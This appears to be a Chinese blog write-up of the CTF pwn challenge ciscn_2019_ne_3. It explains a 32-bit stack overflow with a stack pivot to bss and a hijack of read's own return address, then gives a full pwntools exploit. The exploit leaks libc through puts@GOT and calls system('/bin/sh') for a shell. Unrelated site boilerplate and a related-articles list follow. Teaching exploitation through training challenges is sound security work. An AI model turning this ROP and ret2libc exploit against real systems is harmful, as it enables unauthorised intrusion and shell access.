ciscn_2019_ne_3

2023-11-10 06:49
文章标签 2019 ciscn ne

本文主要是介绍ciscn_2019_ne_3,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

ciscn_2019_ne_3

(在rop长度过小情况下,通过read劫持read自身的返回来达到后续大量rop)

首先检查一下程序的保护机制

 

然后,我们用IDA分析一下,32位栈溢出,难点在于结束变更了两次esp,因此,我们单纯的溢出,直接会造成esp变更到一个无效的地址处。

因此,我们需要将将ecx覆盖为bss段,将栈切换到bss上进行rop。但是切换到bss之前,需要先在bss段布置好rop才行。由此,程序一开始处,叫我们输入长度时,能够输入16字节,并且数据保存在bss段,16字节,前4字节,我们用来存储长度值-1,然后,我们可以布置下3条rop gadget。

3条gadgets,单纯的read调用完成不了,我们可以ret2text,调用text里的read。

至于读取数据到哪里,这是关键,我们要利用read来劫持read自己的返回地址。这样,read结束后就不会返回到text后面执行,而是进入劫持后的流。

payload = '-1\n\x00' + p32(text_read) + p32(bss) + p32(0x100)
sh.sendafter('length of password:',payload)
#栈迁移到bss上
payload = 'a'*0x48 + p32(bss + 8)
sh.sendlineafter(':',payload)

 

如图,我们利用read,向read函数自身的返回地址输入数据,这样就可以劫持read返回到后续输入的rop里。后续rop里,我们要继续做一个栈迁移,因为要调用puts等函数,需要开辟较大的栈空间,因此,我们需要将栈向后迁移0x600。

#coding:utf8
from pwn import *sh = process('./ciscn_2019_ne_3')
#sh = remote('node3.buuoj.cn',25625)
elf = ELF('./ciscn_2019_ne_3')
libc = ELF('/lib32/libc-2.27.so')
read_plt = elf.plt['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_ebp = 0x0804881b
pop_3 = 0x08048819
leave_ret = 0x08048575
bss = 0x0804A060
text_read = 0x080486D0
sh.sendlineafter(':','haivk')#通过劫持read的返回的地址,来达到进一步的利用
payload = '-1\n\x00' + p32(text_read) + p32(bss) + p32(0x100)sh.sendafter('length of password:',payload)
#栈迁移到bss上
payload = 'a'*0x48 + p32(bss + 8)
#raw_input()
sh.sendlineafter(':',payload)
#raw_input()
rop = p32(pop_ebp) + p32(bss + 0x600 - 4) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss + 0x600) + p32(0x100)
sh.sendafter('well, please contiune\n',rop)
#调用puts后,继续调用read输入后续rop
rop2 = p32(puts_plt) + p32(pop_ebp) + p32(puts_got) + p32(read_plt) + p32(pop_3) + p32(0) + p32(bss + 0x600 + 0x20) + p32(0x100)
sleep(0.5)
#raw_input()
sh.send(rop2)
puts_addr = u32(sh.recv(4))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)
rop3 = p32(system_addr) + p32(0) + p32(binsh_addr)
sh.send(rop3)sh.interactive()

 

这篇关于ciscn_2019_ne_3的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/381026

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

2019学习计划

工作三年了,第一年感觉是荒废的,第二年开始学习python,第三年开始自动化 感觉自己会的东西比较少,而且不够深入,流于表面 现制定一下今年大概的学习计划 需持续巩固加强:python、ui自动化、接口自动化、sql等 代码量需提升,敲的不够(重点) 学习: 1.移动端测试,appium等 2.前端知识系统整理学习  3.性能测试 4.docker入门,环境搭建 5.shell

最简单的使用JDBC[连接数据库] mysql 2019年3月18日

最极简版本的, 我们这里以mysql为例: 首先要创建maven工程, 需要引入jar包:,这里需要注意, 如果你安装的是mysql最新版本8以上的, 下面有些地方需要更改,具体就是mysql连接的url, 和5版本的不一样,具体解决请自行百度哈.这里只演示mysql5版本的? 依赖: <dependency>   <groupId>mysql</groupId>   <artifactId

(php伪随机数生成)[GWCTF 2019]枯燥的抽奖

审核源码发现加载check.php,审计发现使用了mt_rand()函数,这个函数生成的值是伪随机的 参考下面这篇文章 PHP mt_rand安全杂谈及应用场景详解 - FreeBuf网络安全行业门户 kali里面输入下载工具 git clone https://github.com/openwall/php_mt_seed.git cd进去输入make后编译出的文件先

2019年2月17日

今天又重新看了一下输出第1500个丑数 在我错了八次之后发现要输出一个句号还要输出换行 接下来的两天应该进入复习阶段了。

National Contest for Private Universities (NCPU), 2019 E. Generalized Pascal's Triangle

编辑代码 2000ms 262144K Generalized Pascal's Triangle Pascal's triangle is a triangular array in which each number can be calculated by the sum of the two numbers directly above that number as shown i

Hinton等人最新研究:大幅提升模型准确率,标签平滑技术 2019-7-8

导读:损失函数对神经网络的训练有显著影响,也有很多学者人一直在探讨并寻找可以和损失函数一样使模型效果更好的函数。后来,Szegedy 等学者提出了标签平滑方法,该方法通过计算数据集中 hard target 的加权平均以及平均分布来计算交叉熵,有效提升了模型的准确率。近日,Hinton 团队等人在新研究论文《When Does Label Smoothing Help?》中,就尝试对标签平滑技术对

Photoshop CC 2019圆形的抠图

快速进入矩形选区 快速在矩形和圆形选区之前切换: shift+M 选择的时候,按住shift,可以选中正方形/圆形   以中心点画圆: alt + 拖拽 再利用变换选区功能即可实现圆的选中 效果如图所示: 再使用自由变换,即可放大,缩小球的大小: ctrl + T 阴影部分的处理: 1)去其他球那里选择个椭圆形选区 2)选择编辑-填充 3)使用滤镜里

Windows Server 2019 中文版、英文版下载 (updated Aug 2024)

Windows Server 2019 中文版、英文版下载 (updated Aug 2024) Windows Server 2019 Version 1809 请访问原文链接:https://sysin.org/blog/windows-server-2019/,查看最新版。原创作品,转载请保留出处。 本站将不定期发布官方原版风格月度更新 ISO。 Windows Server